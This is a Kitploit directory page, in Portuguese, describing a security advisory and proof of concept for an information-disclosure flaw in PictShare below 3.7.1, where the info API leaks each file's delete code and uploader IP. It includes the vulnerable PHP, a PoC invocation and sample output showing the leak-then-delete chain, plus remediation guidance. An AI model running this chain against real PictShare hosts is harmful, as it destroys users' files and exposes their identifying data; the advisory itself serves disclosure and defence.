Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-104051-pictshare-info-disclosure — Divulgação de informações sensíveis via API de informações no PictShare < 3.7.1 (CWE-522). PoC + relatório de advisory. | Kitploit
Ferramentas/GitHubGitHub/wvllxe/cve-2026-104051-pictshare-info-disclosure
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebExfiltração de DadosColeta de InformaçõesSegurança WebPapers e PesquisaAprendizado e Educação
GitHub
wvllxe/cve-2026-104051-pictshare-info-disclosure

CVE-2026-104051-pictshare-info-disclosure

Divulgação de informações sensíveis via API de informações no PictShare < 3.7.1 (CWE-522). PoC + relatório de advisory.

Ver Repositório
227há 19 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-104051 — Divulgação de Informações Sensíveis via API info no PictShare

Pesquisa de segurança autorizada. PoC apenas para uso defensivo e educacional.

CVSS 3.1 CVSS 4.0 CWE-522 Status

O endpoint /api/info/<hash> do PictShare retorna o objeto completo de metadados brutos de qualquer arquivo enviado — incluindo o delete_code secreto que autoriza a exclusão, além do IP do uploader, User-Agent, porta remota e SHA-1. Um atacante não autenticado que conhece o hash (publicamente visível) de um arquivo pode ler seu delete_code e então excluir permanentemente arquivos hospedados arbitrários.

CVECVE-2026-104051
ProdutoPictShare (host de imagens/mídia auto-hospedado)
Afetado>= 2.0.0, < 3.7.1
Corrigido emv3.7.1
VulnerabilidadeCredenciais Insuficientemente Protegidas (CWE-522) → exclusão arbitrária de arquivos + perda de privacidade
PrivilégiosNenhum (não autenticado)
CVSS 3.18.2 HIGH — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
CVSS 4.08.8 HIGH — AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H
Descoberto porAlisher Qarshibayev
AdvisoryVulnCheck

Causa Raiz

API::info() procura o hash e retorna getMetadataOfHash() literalmente — sem lista de campos permitidos:

// src/inc/api.class.php  (< 3.7.1)
public function info()
{
    $hash = $this->url[1] ?? '';
    if (!$hash)                  return ['status' => 'err', 'reason' => 'Missing hash'];
    if (!isExistingHash($hash))  return ['status' => 'err', 'reason' => 'Hash not found'];

    return getMetadataOfHash($hash);   // <-- raw meta.json, includes delete_code, ip, useragent
}

E checkPermissions() — o único portão antes da rota info — verifica gravação no sistema de arquivos, não identidade, então info é acessível sem autenticação:

public function checkPermissions()
{
    if (!isFolderWritable(getDataDir()))      throw new Exception('Data directory not writable');
    else if (!isFolderWritable(ROOT.DS.'tmp')) throw new Exception('Temp directory not writable');
}

Os metadados retornados contêm delete_code, que a API de exclusão aceita como o único segredo de autorização:

// src/inc/api.class.php  delete()
$correctCode = getDeleteCodeOfHash($hash);
if ($correctCode !== $code && $masterCode !== $code)
    return ['status' => 'err', 'reason' => 'Invalid delete code'];
deleteHash($hash);

Os hashes de arquivos são públicos (aparecem em toda URL de imagem compartilhada), então toda a cadeia — vazar o código via info, depois excluir via delete — não precisa de nada além da URL que um usuário já compartilhou.

Prova de Conceito

python3 poc.py --url https://pics.example.com --hash <public_file_hash>
# add --delete to actually exercise the deletion (destructive) step

Resultado esperado:

[*] GET /api/info/<hash>
[+] Leaked metadata via info API:
      delete_code : 7f3a9c1e...   <-- SECRET, should never be exposed
      ip          : 203.0.113.44  <-- uploader privacy leak
      useragent   : Mozilla/5.0 ...
      remote_port : 51544
      sha1        : da39a3ee...
[+] CVE-2026-104051 confirmed: delete_code exposed to unauthenticated caller
[i] With --delete: GET /api/delete/<leaked_code>/<hash> -> {"status":"ok"}

Veja poc.py. A exclusão é opt-in (--delete) então a execução padrão é somente leitura e não destrutiva.

Impacto

  • Qualquer visitante não autenticado pode excluir qualquer arquivo hospedado usando apenas seu hash público → perda de disponibilidade / integridade de todo o conteúdo hospedado.
  • Divulgação de PII do uploader (IP, User-Agent, porta remota) → desanonimização e perda de privacidade.

Remediação

Atualize para PictShare 3.7.1 (commit de correção ce5fc47). info() agora retorna uma lista estrita de campos permitidos (mime, size, hash, sha1, uploaded) e não vaza mais delete_code, ip, useragent ou remote_port. Orientação geral: respostas de API devem listar campos explicitamente; nunca serializar um registro interno que mistura segredos com dados públicos.

Relacionado: CVE-2026-104356 — mesmo sem este vazamento, o delete_code era previsível porque era gerado com rand().

Linha do Tempo

DataEvento
2026-10-01Divulgação pública, CVE reservado e publicado (VulnCheck), corrigido na v3.7.1

Divulgação

Divulgado de forma responsável ao fornecedor e coordenado através da VulnCheck. Corrigido antes deste PoC ser lançado. Publicado para fins defensivos e educacionais.

Baixar ferramenta